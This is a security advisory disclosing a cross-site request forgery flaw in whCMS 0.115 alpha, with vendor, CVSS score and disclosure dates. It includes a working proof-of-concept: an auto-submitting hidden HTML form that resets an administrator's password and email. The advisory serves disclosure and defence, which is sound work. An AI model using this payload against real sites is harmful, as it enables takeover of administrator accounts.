Cross-site Request Forgery (CSRF) in whCMS

Advisory ID:HTB22767
Product:whCMS
Vendor:Joram van den Boezem
Vulnerable Versions:0.115 alpha and probably prior
Tested Version:0.115 alpha
Advisory Publication:December 28, 2010 [without technical details]
Vendor Notification:December 28, 2010
Public Disclosure:January 11, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in whCMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in whCMS
The vulnerability exists due to insufficient validation of the request origin in admin/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email2@example.com">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>

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References:
[1] High-Tech Bridge Advisory HTB22767 - https://www.immuniweb.com/advisory/HTB22767 - Cross-site Request Forgery (CSRF) in whCMS
[2] whCMS - whcms.burolaga.nl – whCMS is a content management system written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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